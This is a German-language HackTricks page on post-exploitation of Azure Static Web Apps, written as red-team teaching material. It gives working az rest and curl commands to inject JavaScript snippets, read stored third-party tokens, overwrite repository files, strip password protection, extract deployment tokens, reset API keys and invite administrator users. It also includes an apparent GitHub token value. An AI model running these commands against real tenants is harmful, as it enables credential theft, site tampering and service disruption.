Az - Statische Webanwendungen Post-Exploitation
Reading time: 10 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Azure Statische Webanwendungen
Für weitere Informationen zu diesem Dienst siehe:
Microsoft.Web/staticSites/snippets/write
Es ist möglich, eine statische Webseite zu erstellen, die beliebigen HTML-Code lädt, indem man einen Snippet erstellt. Dies könnte es einem Angreifer ermöglichen, JS-Code in die Webanwendung einzufügen und sensible Informationen wie Anmeldeinformationen oder mnemonische Schlüssel (in Web3-Wallets) zu stehlen.
Der folgende Befehl erstellt einen Snippet, der immer von der Webanwendung geladen wird::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
Gelesene konfigurierte Drittanbieter-Anmeldeinformationen
Wie im Abschnitt App Service erklärt:
Durch Ausführen des folgenden Befehls ist es möglich, die Drittanbieter-Anmeldeinformationen zu lesen, die im aktuellen Konto konfiguriert sind. Beachten Sie, dass Sie beispielsweise, wenn einige Github-Anmeldeinformationen in einem anderen Benutzer konfiguriert sind, nicht auf das Token eines anderen Benutzers zugreifen können.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Dieser Befehl gibt Tokens für Github, Bitbucket, Dropbox und OneDrive zurück.
Hier sind einige Beispielbefehle, um die Tokens zu überprüfen:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Datei überschreiben - Routen, HTML, JS überschreiben...
Es ist möglich, eine Datei im Github-Repo der App über Azure zu überschreiben, indem man das Github-Token verwendet und eine Anfrage wie die folgende sendet, die den Pfad der zu überschreibenden Datei, den Inhalt der Datei und die Commit-Nachricht angibt.
Dies kann von Angreifern missbraucht werden, um im Grunde den Inhalt der Web-App zu ändern, um bösartige Inhalte bereitzustellen (Anmeldeinformationen, mnemonische Schlüssel stehlen...) oder einfach um bestimmte Pfade auf ihre eigenen Server umzuleiten, indem sie die Datei staticwebapp.config.json
überschreiben.
warning
Beachten Sie, dass ein Angreifer, wenn er es schafft, das Github-Repo auf irgendeine Weise zu kompromittieren, die Datei auch direkt von Github überschreiben kann.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
Microsoft.Web/staticSites/config/write
Mit dieser Berechtigung ist es möglich, das Passwort zu ändern, das eine statische Webanwendung schützt, oder sogar jede Umgebung zu entprotecten, indem man eine Anfrage wie die folgende sendet:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
Diese Berechtigung ermöglicht es, den API-Schlüssel-Bereitstellungstoken für die statische App zu erhalten:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
Dann könnten Sie den folgenden Befehl ausführen, um eine App mit dem Token zu aktualisieren. Beachten Sie, dass dieser Befehl extrahiert wurde, um zu überprüfen, wie Github Action https://github.com/Azure/static-web-apps-deploy funktioniert, da es der ist, den Azure standardmäßig verwendet. Daher könnten sich das Bild und die Parameter in Zukunft ändern.
tip
Um die App bereitzustellen, könnten Sie das swa
-Tool von https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token verwenden oder die folgenden Schritte ausführen:
- Laden Sie das Repo https://github.com/staticwebdev/react-basic herunter (oder ein anderes Repo, das Sie bereitstellen möchten) und führen Sie
cd react-basic
aus. - Ändern Sie den Code, den Sie bereitstellen möchten.
- Stellen Sie es bereit, indem Sie (denken Sie daran,
<api-token>
zu ändern):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
warning
Selbst wenn Sie das Token haben, können Sie die App nicht bereitstellen, wenn die Deployment Authorization Policy auf Github eingestellt ist. Um das Token zu verwenden, benötigen Sie die Berechtigung Microsoft.Web/staticSites/write
, um die Bereitstellungsmethode auf das API-Token zu ändern.
Microsoft.Web/staticSites/write
Mit dieser Berechtigung ist es möglich, die Quelle der statischen Web-App auf ein anderes Github-Repository zu ändern, jedoch wird es nicht automatisch bereitgestellt, da dies über eine Github Action erfolgen muss.
Wenn die Deployment Authorization Policy auf Github eingestellt ist, ist es jedoch möglich, die App aus dem neuen Quell-Repository zu aktualisieren!.
Falls die Deployment Authorization Policy nicht auf Github eingestellt ist, können Sie dies mit der gleichen Berechtigung Microsoft.Web/staticSites/write
ändern.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
Beispiel-Github-Action zum Bereitstellen der App:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
Mit dieser Berechtigung ist es möglich, den API-Schlüssel der statischen Webanwendung zurückzusetzen, was potenziell die Workflows, die die Anwendung automatisch bereitstellen, DoSing kann.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
Diese Berechtigung ermöglicht es, eine Einladung an einen Benutzer zu erstellen, um auf geschützte Pfade innerhalb einer statischen Webanwendung mit einer bestimmten Rolle zuzugreifen.
Der Login befindet sich in einem Pfad wie /.auth/login/github
für GitHub oder /.auth/login/aad
für Entra ID, und ein Benutzer kann mit dem folgenden Befehl eingeladen werden:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
Standardmäßig werden Pull Requests von einem Branch im selben Repo automatisch in einer Staging-Umgebung kompiliert und gebaut. Dies könnte von einem Angreifer mit Schreibzugriff auf das Repo, der jedoch nicht in der Lage ist, die Branch-Schutzmaßnahmen des Produktions-Branches (normalerweise main
) zu umgehen, ausgenutzt werden, um eine bösartige Version der App in der Staging-URL bereitzustellen.
Die Staging-URL hat dieses Format: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>
wie: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
tip
Beachten Sie, dass externe PRs standardmäßig keine Workflows ausführen, es sei denn, sie haben mindestens 1 PR in das Repository gemergt. Ein Angreifer könnte einen gültigen PR an das Repo senden und dann einen bösartigen PR an das Repo senden, um die bösartige App in der Staging-Umgebung bereitzustellen. JEDOCH gibt es einen unerwarteten Schutz: Die standardmäßige Github Action zum Bereitstellen in die statische Web-App benötigt Zugriff auf das Geheimnis, das das Bereitstellungstoken enthält (wie secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F
), selbst wenn die Bereitstellung mit dem IDToken erfolgt. Das bedeutet, dass ein externer PR keinen Zugriff auf dieses Geheimnis hat und ein externer PR den Workflow nicht ändern kann, um hier ein beliebiges Token zu platzieren, ohne dass ein PR akzeptiert wird. Dieser Angriff wird also nicht wirklich funktionieren.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.